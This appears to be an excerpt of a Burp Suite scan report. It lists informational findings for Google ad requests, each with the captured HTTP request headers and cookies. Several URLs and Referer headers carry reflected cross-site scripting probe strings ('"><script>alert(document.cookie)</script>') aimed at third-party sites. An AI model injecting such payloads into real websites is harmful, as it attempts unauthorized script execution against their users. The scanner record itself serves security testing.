GET /pagead/ads?client=ca-pub-9271629784327781&output=html&h=280&slotname=7244137567&w=336&lmt=1296964093&flash=10.1.103&url=http%3A%2F%2Fwww.download32.com%2Fnslookup-software.html&dt=1296942493217&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296942493219&frm=0&adk=502925297&ga_vid=1765803017.1296942493&ga_sid=1296942493&ga_hid=700410190&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=996&fu=0&ifi=1&dtd=222&xpc=I9jArVQZmY&p=http%3A//www.download32.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.download32.com/nslookup-software.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2818894/957634/15009,2409535/850532/15008,189445/526157/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.66. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6422417422167576&output=html&h=280&slotname=4472307558&w=336&lmt=1297020079&flash=10.1.103&url=http%3A%2F%2Fwww.baselinemag.com%2Fc%2Fa%2FIT-Management%2FMacys-Ramps-Up-Online-Operations-637464%2F&dt=1296998592953&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=3486164594&correlator=1296998582104&frm=0&adk=164253300&ga_vid=1274416164.1296998524&ga_sid=1296998524&ga_hid=410483432&ga_fc=1&ga_wpids=UA-2464436-2&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1015&eid=30143103&ref=http%3A%2F%2Fburp%2Fshow%2F45&fu=0&ifi=2&dtd=140&xpc=ZvKS7Qv1Ce&p=http%3A//www.baselinemag.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/%26hl%3Den%26client%3Dca-pub-6422417422167576%26adU%3Dwww.AmeriCommerce.com%26adT%3DEasier%2BeCommerce%2BSolution%26adU%3Dwww.ProcureToPayEvent.com%26adT%3D9th%2BProcure-to-Pay%2BSummit%26adU%3Dwww.advancedsupplychaininsight.com/%26adT%3DReduce%2BSupply%2BChain%2BCosts%26adU%3Dwww.apprise.com%26adT%3DERP%2BSoftware%26gl%3DUS&usg=AFQjCNHOwfdDkR_aMnyAmZqbEjvvXHxrfg

Request

Response

20.67. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7272189955621553&output=html&h=200&slotname=5943811345&w=200&lmt=1296968878&flash=10.1.103&url=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&dt=1296947278574&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296947278630&frm=0&adk=1589161579&ga_vid=407096250.1296947279&ga_sid=1296947279&ga_hid=449604654&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=996&ref=http%3A%2F%2Fburp%2Fshow%2F34&fu=0&ifi=1&dtd=82&xpc=M9tLTGFdKn&p=http%3A//www.kledy.de

The response contains the following links to other domains:

http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
http://pagead2.googlesyndication.com/pagead/abglogo/abg-de-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/imgad?id=CNjoos6v0I764wEQyAEYyAEyCKqxpgr_C_78
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.kledy.de/bookmarks.php%253F18fe2%252522%25253E%25253Cscript%25253Ealert(document.cookie)%25253C/script%25253Eef67307aec5%253D1%26hl%3Dde%26client%3Dca-pub-7272189955621553%26adU%3DTuneUp.de%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNGMlHjXQdqI7OG97_rSNkbeW74o1w

Request

GET /pagead/ads?client=ca-pub-7272189955621553&output=html&h=200&slotname=5943811345&w=200&lmt=1296968878&flash=10.1.103&url=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&dt=1296947278574&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296947278630&frm=0&adk=1589161579&ga_vid=407096250.1296947279&ga_sid=1296947279&ga_hid=449604654&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=996&ref=http%3A%2F%2Fburp%2Fshow%2F34&fu=0&ifi=1&dtd=82&xpc=M9tLTGFdKn&p=http%3A//www.kledy.de HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.68. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7786708287155161&output=html&h=600&slotname=1726776499&w=120&lmt=1297021189&flash=10.1.103&url=http%3A%2F%2Ftipd.com%2F%3F6785a%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eea5c679a90c%3D1&dt=1296999589136&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296999587657&frm=0&adk=3265262912&ga_vid=1926595520.1296999588&ga_sid=1296999588&ga_hid=1147699733&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1001&bih=1015&ref=http%3A%2F%2Fburp%2Fshow%2F48&fu=0&ifi=2&dtd=59&xpc=RFxj7WwFRi&p=http%3A//tipd.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://tipd.com/%253F6785a%252522%25253E%25253Cscript%25253Ealert(document.cookie)%25253C/script%25253Eea5c679a90c%253D1%26hl%3Den%26client%3Dca-pub-7786708287155161%26adU%3Dwww.ITBusinessEdge.com%26adT%3DSix-Sigma%26adU%3Dwww.Fool.com/Stock_Advisor%26adT%3DTop%2BStock%2BPicks%2Bfor%2B2011%26adU%3Dwww.ShareBuilder.com%26adT%3DInvest%2Bwith%2B%2524100%2Bor%2BLess%26adU%3Dwww.TopStockAnalysts.com%26adT%3DTop%2B12%2BStocks%2Bto%2BBuy%2BNow%26gl%3DUS&usg=AFQjCNGK7qkrfJx8tYFLxoU2E3cYDZ-k1A

Request

GET /pagead/ads?client=ca-pub-7786708287155161&output=html&h=600&slotname=1726776499&w=120&lmt=1297021189&flash=10.1.103&url=http%3A%2F%2Ftipd.com%2F%3F6785a%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eea5c679a90c%3D1&dt=1296999589136&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296999587657&frm=0&adk=3265262912&ga_vid=1926595520.1296999588&ga_sid=1296999588&ga_hid=1147699733&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1001&bih=1015&ref=http%3A%2F%2Fburp%2Fshow%2F48&fu=0&ifi=2&dtd=59&xpc=RFxj7WwFRi&p=http%3A//tipd.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tipd.com/?6785a%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eea5c679a90c=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.69. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=280&slotname=9573820732&w=336&lmt=1296964160&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2F&dt=1296942560326&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765%2C3865030659&correlator=1296942560294&frm=0&adk=1878471090&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1263121855&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&fu=0&ifi=4&dtd=3&xpc=xLYTdYWw9J&p=http%3A//www.orthougm.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.orthougm.com/%26hl%3Den%26client%3Dca-pub-0813152173226346%26adU%3Dwww.DMC.org%26adT%3DKnee%2BSurgery%2BVideo%26adU%3Dwww.bpgasandpower.com%26adT%3DBP%2BEnergy%2BCompany%26adU%3Dwww.ARPwaveClinic.com%26adT%3DYou%2BDont%2BNeed%2BHip%2BSurgery%26adU%3Dstore.HartEnergy.com%26adT%3DHart%2BEnergy%2BMaps%26gl%3DUS&usg=AFQjCNFVeEpM9BgwxdljVU1twpGo4kQwDA

Request

GET /pagead/ads?client=ca-pub-0813152173226346&output=html&h=280&slotname=9573820732&w=336&lmt=1296964160&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2F&dt=1296942560326&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765%2C3865030659&correlator=1296942560294&frm=0&adk=1878471090&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1263121855&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&fu=0&ifi=4&dtd=3&xpc=xLYTdYWw9J&p=http%3A//www.orthougm.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.orthougm.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|2818894/957634/15009,2409535/850532/15008,189445/526157/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.70. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7272189955621553&output=html&h=90&slotname=7192921606&w=728&lmt=1297030347&flash=10.1.103&url=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&dt=1297008747650&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297008747727&frm=0&adk=603134447&ga_vid=925181720.1297008748&ga_sid=1297008748&ga_hid=1741080407&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1001&bih=1031&ref=http%3A%2F%2Fburp%2Fshow%2F65&fu=0&ifi=1&dtd=284&xpc=SERMQV73KK&p=http%3A//www.kledy.es

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-es-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.kledy.es/%253Fbc891%252522%25253E%25253Cscript%25253Ealert(document.cookie)%25253C/script%25253E5d09625540c%253D1%26hl%3Des%26client%3Dca-pub-7272189955621553%26adU%3Dwww.xoom.com/espanol%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNHARZ2lyQ_07kDC3wsZV0zLF_ugPA

Request

GET /pagead/ads?client=ca-pub-7272189955621553&output=html&h=90&slotname=7192921606&w=728&lmt=1297030347&flash=10.1.103&url=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&dt=1297008747650&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297008747727&frm=0&adk=603134447&ga_vid=925181720.1297008748&ga_sid=1297008748&ga_hid=1741080407&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1001&bih=1031&ref=http%3A%2F%2Fburp%2Fshow%2F65&fu=0&ifi=1&dtd=284&xpc=SERMQV73KK&p=http%3A//www.kledy.es HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.kledy.es/?bc891%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d09625540c=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.71. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7272189955621553&output=html&h=90&slotname=7192921606&w=728&lmt=1297030374&flash=10.1.103&url=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&dt=1297008774015&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297008774051&frm=0&adk=603134447&ga_vid=1489314729.1297008774&ga_sid=1297008774&ga_hid=251066767&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1001&bih=1031&ref=http%3A%2F%2Fburp%2Fshow%2F65&fu=0&ifi=1&dtd=79&xpc=9AWNXN5iwA&p=http%3A//www.kledy.es

The response contains the following links to other domains:

http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
http://pagead2.googlesyndication.com/pagead/abglogo/abg-es-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/imgad?id=CJqk2uz34OGGFRDYBRhaMgjREg4TDH1f-g
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.kledy.es/%253Fbc891%252522%25253E%25253Cscript%25253Ealert(document.cookie)%25253C/script%25253E5d09625540c%253D1%26hl%3Des%26client%3Dca-pub-7272189955621553%26adU%3Dwww.amorenlinea.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNEN1Tv1j4n5dxHSdAuYO9dZ7tVPpw

Request

GET /pagead/ads?client=ca-pub-7272189955621553&output=html&h=90&slotname=7192921606&w=728&lmt=1297030374&flash=10.1.103&url=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&dt=1297008774015&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297008774051&frm=0&adk=603134447&ga_vid=1489314729.1297008774&ga_sid=1297008774&ga_hid=251066767&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1001&bih=1031&ref=http%3A%2F%2Fburp%2Fshow%2F65&fu=0&ifi=1&dtd=79&xpc=9AWNXN5iwA&p=http%3A//www.kledy.es HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.kledy.es/?bc891%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d09625540c=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.72. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7272189955621553&output=html&h=60&slotname=0592282731&w=468&lmt=1297034087&flash=10.1.103&url=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ef6336f06cd4%3D1&dt=1297012487272&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297012487292&frm=0&adk=3543896621&ga_vid=947421574.1297012487&ga_sid=1297012487&ga_hid=200346026&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1001&bih=1031&eid=36815001&ref=http%3A%2F%2Fburp%2Fshow%2F96&fu=0&ifi=1&dtd=218&xpc=ioKRrEH5bk&p=http%3A//www.peppernews.eu

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.peppernews.eu/%253Fd7d65%252522%25253E%25253Cscript%25253Ealert(document.cookie)%25253C/script%25253Ef6336f06cd4%253D1%26hl%3Den%26client%3Dca-pub-7272189955621553%26adU%3Dwww.gfi.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNEsh2wUTgspHkQ-Oq6xQoPXUbxXPw

Request

GET /pagead/ads?client=ca-pub-7272189955621553&output=html&h=60&slotname=0592282731&w=468&lmt=1297034087&flash=10.1.103&url=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Ef6336f06cd4%3D1&dt=1297012487272&shv=r20101117&jsv=r20110120&saldr=1&correlator=1297012487292&frm=0&adk=3543896621&ga_vid=947421574.1297012487&ga_sid=1297012487&ga_hid=200346026&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1001&bih=1031&eid=36815001&ref=http%3A%2F%2Fburp%2Fshow%2F96&fu=0&ifi=1&dtd=218&xpc=ioKRrEH5bk&p=http%3A//www.peppernews.eu HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.peppernews.eu/?d7d65%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef6336f06cd4=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.73. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6422417422167576&output=html&h=280&slotname=3486164594&w=336&lmt=1297020079&flash=10.1.103&url=http%3A%2F%2Fwww.baselinemag.com%2Fc%2Fa%2FIT-Management%2FMacys-Ramps-Up-Online-Operations-637464%2F&dt=1296998582101&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296998582104&frm=0&adk=2059201820&ga_vid=1274416164.1296998524&ga_sid=1296998524&ga_hid=410483432&ga_fc=1&ga_wpids=UA-2464436-2&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1015&eid=30143103&ref=http%3A%2F%2Fburp%2Fshow%2F45&fu=0&ifi=1&dtd=8&xpc=P9sCStcP5Y&p=http%3A//www.baselinemag.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-000000.png
http://pagead2.googlesyndication.com/pagead/sma8.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/%26hl%3Den%26client%3Dca-pub-6422417422167576%26adU%3Dwww.capitaliq.com/ideas%26adT%3DFree%2BTrial%2B-%2BCapital%2BIQ%26adU%3DOpManager.ManageEngine.com%26adT%3DNetwork%2BManagement%2BSystem%26adU%3Dwww.Innotas.com%26adT%3DOn-Demand%2BIT%2BGovernance%26adU%3DIntel.com/CloudBuilders%26adT%3DIntel%2Band%2BCloud%2BComputing%26gl%3DUS&usg=AFQjCNFd6QMv0cGe6yfn0aOwYGyFUAKE4g

Request

GET /pagead/ads?client=ca-pub-6422417422167576&output=html&h=280&slotname=3486164594&w=336&lmt=1297020079&flash=10.1.103&url=http%3A%2F%2Fwww.baselinemag.com%2Fc%2Fa%2FIT-Management%2FMacys-Ramps-Up-Online-Operations-637464%2F&dt=1296998582101&shv=r20101117&jsv=r20110120&saldr=1&correlator=1296998582104&frm=0&adk=2059201820&ga_vid=1274416164.1296998524&ga_sid=1296998524&ga_hid=410483432&ga_fc=1&ga_wpids=UA-2464436-2&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=1015&eid=30143103&ref=http%3A%2F%2Fburp%2Fshow%2F45&fu=0&ifi=1&dtd=8&xpc=P9sCStcP5Y&p=http%3A//www.baselinemag.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

20.74. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The page was loaded from a URL containing a query string:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6105196450991387&output=html&h=280&slotname=9200301136&w=336&lmt=1296964091&flash=10.1.103&url=http%3A%2F%2Fwww.freedownloadscenter.com%2Fterms%2Fhtml-tracert-nslookup%2Fnslookup.html&dt=1296942491490&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8416674819%2C4051504648&correlator=1296942491388&frm=0&adk=4269378515&ga_vid=1479561773.1296942490&ga_sid=1296942490&ga_hid=75542475&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=985&bih=996&fu=0&ifi=3&dtd=2&xpc=MCJZIbMLpC&p=http%3A//www.freedownloadscenter.com

The response contains the following links to other domains:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png
http://pagead2.googlesyndication.com/pagead/images/i.png
http://pagead2.googlesyndication.com/pagead/js/abg.js
http://pagead2.googlesyndication.com/pagead/js/graphics.js
http://www.google.com/url?ct=abg&q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.freedownloadscenter.com/terms/html-tracert-nslookup/nslookup.html%26hl%3Den%26client%3Dca-pub-6105196450991387%26adU%3Dapps.foxtab.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNFzuUn8Z2cloF8AGMIMAbLya34_KQ

Request

